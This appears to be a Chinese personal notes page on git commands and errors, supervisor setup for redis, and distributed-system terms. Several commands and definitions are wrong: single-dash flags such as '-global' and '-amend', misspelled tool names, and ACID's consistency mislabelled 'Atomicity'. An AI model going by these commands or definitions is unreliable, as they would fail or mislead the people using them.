git submodule add 仓库地址 路径

其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。
注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone)

命令执行完成,会在当前工程根路径下生成一个名为“.gitmodules”的文件,其中记录了子模块的信息。添加完成以后,再将子模块所在的文件夹添加到工程中即可。
删除

submodule的删除稍微麻烦点:首先,要在“.gitmodules”文件中删除相应配置信息。然后,执行git rm –cached命令将子模块所在的文件从git中删除。
下载的工程带有submodule

当使用git clone下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令:

git submodule update --init --recursive

即可将子模块内容下载下来后工程才不会缺少相应的文件。


一些错误
“pathspec ‘branch’ did not match any file(s) known to git.”错误
1
2
3
git checkout master
git pull
git checkout new_branch
使用git提交比较大的文件的时候可能会出现这个错误

error: RPC failed; result=22, HTTP code = 411
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly
Everything up-to-date

这样的话首先改一下git的传输字节限制

git config http.postBuffer 524288000
然后这时候在传输或许会出现另一个错误

error: RPC failed; result=22, HTTP code = 413
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly
Everything up-to-date

这两个错误看上去相似,一个是411,一个是413

下面这个错误添加一下密钥就可以了

首先key-keygen 生成密钥

然后把生成的密钥复制到git中自己的账号下的相应位置

git push ssh://192.168.64.250/eccp.git branch

等待收集


git add文件取消

在git的一般使用中,如果发现错误的将不想提交的文件add进入index之后,想回退取消,则可以使用命令:git reset HEAD <file>...,同时git add完毕之后,git也会做相应的提示。

http://blog.csdn.net/yaoming168/article/details/38777763


git删除文件:

删除文件跟踪并且删除文件系统中的文件file1git rm file1
提交刚才的删除动作,之后git不再管理该文件git commit

删除文件跟踪但不删除文件系统中的文件file1git rm --cached file1
提交刚才的删除动作,之后git不再管理该文件。但是文件系统中还是有file1。git commit


版本回退

版本回退用于线上系统出现问题后恢复旧版本的操作。
回退到的版本git reset --hard 248cba8e77231601d1189e3576dc096c8986ae51
回退的是所有文件,如果后悔回退可以git pull就可以了。


历史版本对比

查看日志git log
查看某一历史版本的提交内容git show 4ebd4bbc3ed321d01484a4ed206f18ce2ebde5ca,这里能看到版本的详细修改代码。
对比不同版本git diff c0f28a2ec490236caa13dec0e8ea826583b49b7a 2e476412c34a63b213b735e5a6d90cd05b014c33

http://blog.csdn.net/lxlzhn/article/details/9356473


分支的意义与管理

创建分支可以避免提交代码后对主分支的影响,同时也使你有了相对独立的开发环境。分支具有很重要的意义。
创建并切换分支,提交代码后才能在其它机器拉分支代码git checkout -b new_branch
查看当前分支git branch
切换到master分支git checkout master
合并分支到当前分支git merge new_branch,合并分支的操作是从new_branch合并到master分支,当前环境在master分支。
删除分支git branch -d new_branch


git冲突文件编辑

冲突文件冲突的地方如下面这样

1
2
3
4
5
6
7
a123
<<<<<<< HEAD
b789
=======
b45678910
>>>>>>> 6853e5ff961e684d3a6c02d4d06183b5ff330dcc
c

冲突标记<<<<<<< (7个<)与=======之间的内容是我的修改,=======与>>>>>>>之间的内容是别人的修改。
此时,还没有任何其它垃圾文件产生。
你需要把代码合并好后重新走一遍代码提交流程就好了。


不顺利的代码提交流程

git push后出现错误可能是因为其他人提交了代码,而使你的本地代码库版本不是最新。
这时你需要先git pull代码后,检查是否有文件冲突。
没有文件冲突的话需要重新走一遍代码提交流程add —> commit —> push
解决文件冲突在后面说。


git顺利的提交代码流程

查看修改的文件git status
为了谨慎检查一下代码git diff
添加修改的文件git add dirname1/filename1.py dirname2/filenam2.py,新加的文件也是直接add就好了;
添加修改的日志git commit -m "fixed:修改了上传文件的逻辑"
提交代码git push,如果提交失败的可能原因是本地代码库版本不是最新。


理解github的pull request
有一个仓库,叫Repo A。你如果要往里贡献代码,首先要Fork这个Repo,于是在你的Github账号下有了一个Repo A2,。然后你在这个A2下工作,Commit,push等。然后你希望原始仓库Repo A合并你的工作,你可以在Github上发起一个Pull Request,意思是请求Repo A的所有者从你的A2合并分支。如果被审核通过并正式合并,这样你就为项目A做贡献了。

http://zhidao.baidu.com/question/1669154493305991627.html


创建和使用git ssh key

首先设置git的user name和email:

1
2
git config --global user.name "xxx"
git config --global user.email "xxx@gmail.com"

查看git配置:

1
git config --list
然后生成SHH密匙:

查看是否已经有了ssh密钥:cd ~/.ssh
如果没有密钥则不会有此文件夹,有则备份删除
生存密钥:

1
ssh-keygen -t rsa -C "gudujianjsk@gmail.com"

按3个回车,密码为空这里一般不使用密钥。
最后得到了两个文件:id_rsa和id_rsa.pub
注意:密匙生成就不要改了,如果已经生成到~/.ssh文件夹下去找。

1
2
3
4
5
6
7
8
// 暂时无用
添加 私密钥 到ssh:ssh-add id_rsa
需要之前输入密码(如果有)。

在github上添加ssh密钥,这要添加的是“id_rsa.pub”里面的公钥。
打开 http://github.com,登陆xushichao,然后添加ssh。
注意在这里由于直接复制粘帖公钥,可能会导致增加一些字符或者减少些字符,最好用系统工具xclip来做这些事情。
xclip -selection c id_rsa.pub

应用流程未整理


网络上收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
master : 默认开发分支; origin : 默认远程版本库

初始化操作
$ git config -global user.name <name> #设置提交者名字
$ git config -global user.email <email> #设置提交者邮箱
$ git config -global core.editor <editor> #设置默认文本编辑器
$ git config -global merge.tool <tool> #设置解决合并冲突时差异分析工具
$ git config -list #检查已有的配置信息

创建新版本库
$ git clone <url> #克隆远程版本库
$ git init #初始化本地版本库

修改和提交
$ git add . #添加所有改动过的文件
$ git add <file> #添加指定的文件
$ git mv <old> <new> #文件重命名
$ git rm <file> #删除文件
$ git rm -cached <file> #停止跟踪文件但不删除
$ git commit -m <file> #提交指定文件
$ git commit -m “commit message” #提交所有更新过的文件
$ git commit -amend #修改最后一次提交
$ git commit -C HEAD -a -amend #增补提交(不会产生新的提交历史纪录)

查看提交历史
$ git log #查看提交历史
$ git log -p <file> #查看指定文件的提交历史
$ git blame <file> #以列表方式查看指定文件的提交历史
$ gitk #查看当前分支历史纪录
$ gitk <branch> #查看某分支历史纪录
$ gitk --all #查看所有分支历史纪录
$ git branch -v #每个分支最后的提交
$ git status #查看当前状态
$ git diff #查看变更内容

撤消操作
$ git reset -hard HEAD #撤消工作目录中所有未提交文件的修改内容
$ git checkout HEAD <file1> <file2> #撤消指定的未提交文件的修改内容
$ git checkout HEAD. #撤消所有文件
$ git revert <commit> #撤消指定的提交

分支与标签
$ git branch #显示所有本地分支
$ git checkout <branch/tagname> #切换到指定分支或标签
$ git branch <new-branch> #创建新分支
$ git branch -d <branch> #删除本地分支
$ git tag #列出所有本地标签
$ git tag <tagname> #基于最新提交创建标签
$ git tag -d <tagname> #删除标签

合并与衍合
$ git merge <branch> #合并指定分支到当前分支
$ git rebase <branch> #衍合指定分支到当前分支

远程操作
$ git remote -v #查看远程版本库信息
$ git remote show <remote> #查看指定远程版本库信息
$ git remote add <remote> <url> #添加远程版本库
$ git fetch <remote> #从远程库获取代码
$ git pull <remote> <branch> #下载代码及快速合并
$ git push <remote> <branch> #上传代码及快速合并
$ git push <remote> : <branch>/<tagname> #删除远程分支或标签
$ git push -tags #上传所有标签

常用命令

一、添加好配置文件后
二、更新新的配置到supervisord
supervisorctl update
三、重新启动配置中的所有程序
supervisorctl reload
四、启动某个进程(program_name=你配置中写的程序名称)
supervisorctl start program_name
五、查看正在守候的进程
supervisorctl
六、停止某一进程 (program_name=你配置中写的程序名称)
pervisorctl stop program_name
七、重启某一进程 (program_name=你配置中写的程序名称)
supervisorctl restart program_name
八、停止全部进程
supervisorctl stop all
注意:显示用stop停止掉的进程,用reload或者update都不会自动重启。

supervisord : supervisor的服务器端部分,启动supervisor就是运行这个命令。
supervisorctl:启动supervisor的命令行窗口。


需求:redis-server这个进程是运行redis的服务。我们要求这个服务能在意外停止后自动重启。

安装(Centos)

1
2
yum install python-setuptools
easy_install supervisor

测试是否安装成功:
echo_supervisord_conf

创建配置文件:
echo_supervisord_conf > /etc/supervisord.conf

修改配置文件,在supervisord.conf最后增加:

1
2
3
4
5
[program:redis]
command = redis-server //需要执行的命令
autostart=true //supervisor启动的时候是否随着同时启动
autorestart=true //当程序跑出exit的时候,这个program会自动重启
startsecs=3 //程序重启时候停留在runing状态的秒数

环境变量配置:

environment=PATH="/usr/local/cuda-8.0/bin:/usr/local/cuda-8.0/lib64",LD_LIBRARY_PATH="/usr/local/cuda-8.0/lib64:$LD_LIBRARY_PATH"

更多配置说明请参考:http://supervisord.org/configuration.html

运行命令:

1
2
supervisord    //启动supervisor
supervisorctl //打开命令行
1
2
[root@vm14211 ~]# supervisorctl
redis RUNNING pid 24068, uptime 3:41:55
1
2
ctl中: help   //查看命令 
ctl中: status //查看状态

遇到的问题

  1. redis出现的不是running而是FATAL 状态
    应该要去查看log
    log在/tmp/supervisord.log

  2. 日志中显示:
    gave up: redis entered FATAL state, too many start retries too quickly
    修改redis.conf的daemonize为no

    具体说明:http://xingqiba.sinaapp.com/?p=240

事实证明webdis也有这个问题,webdis要修改的是webdis.json这个配置文件

参考

http://www.cnblogs.com/yjf512/archive/2012/03/05/2380496.html

性能指标

  1. 吞度量
  2. 响应延迟 P95 P999
  3. 并发量

可用性指标

  1. 可提供的服务时间 / (可提供的服务时间 + 不可提供的服务时间)
  2. 请求成功次数 / 总请求次数

可扩展性指标

是否能实现水平扩展,通过增加服务器数量增加计算能力、存储容量等。

存储系统中有两种扩展方式:
Scale Out(也就是Scale horizontally)横向扩展,比如在原有系统中新增一台服务器。
Scale Up(也就是Scale vertically)纵向扩展,在原有机器上增加 CPU 、内存。

一致性指标

实现多副本之间一致性的能力。不同的应用场景对于数据一致性指标要求不同,需要根据场景做具体的评估。

水平拆分和垂直拆分

ACID

原子性(Atomicity)
一致性(Atomicity)
隔离性(Isolation)
持久性(Durability)

CAP(帽子理论)

一致性(Consistency)
可用性(Availability)
可靠性(Partition tolerance 分区容错性)

BASE

基本可用(Basically Available)
软状态(Soft State)
最终一致(Eventually Consistent)

分布式一致性协议

TX协议
XA协议

两阶段提交协议

三阶段提交协议

TCC

最终一致性模式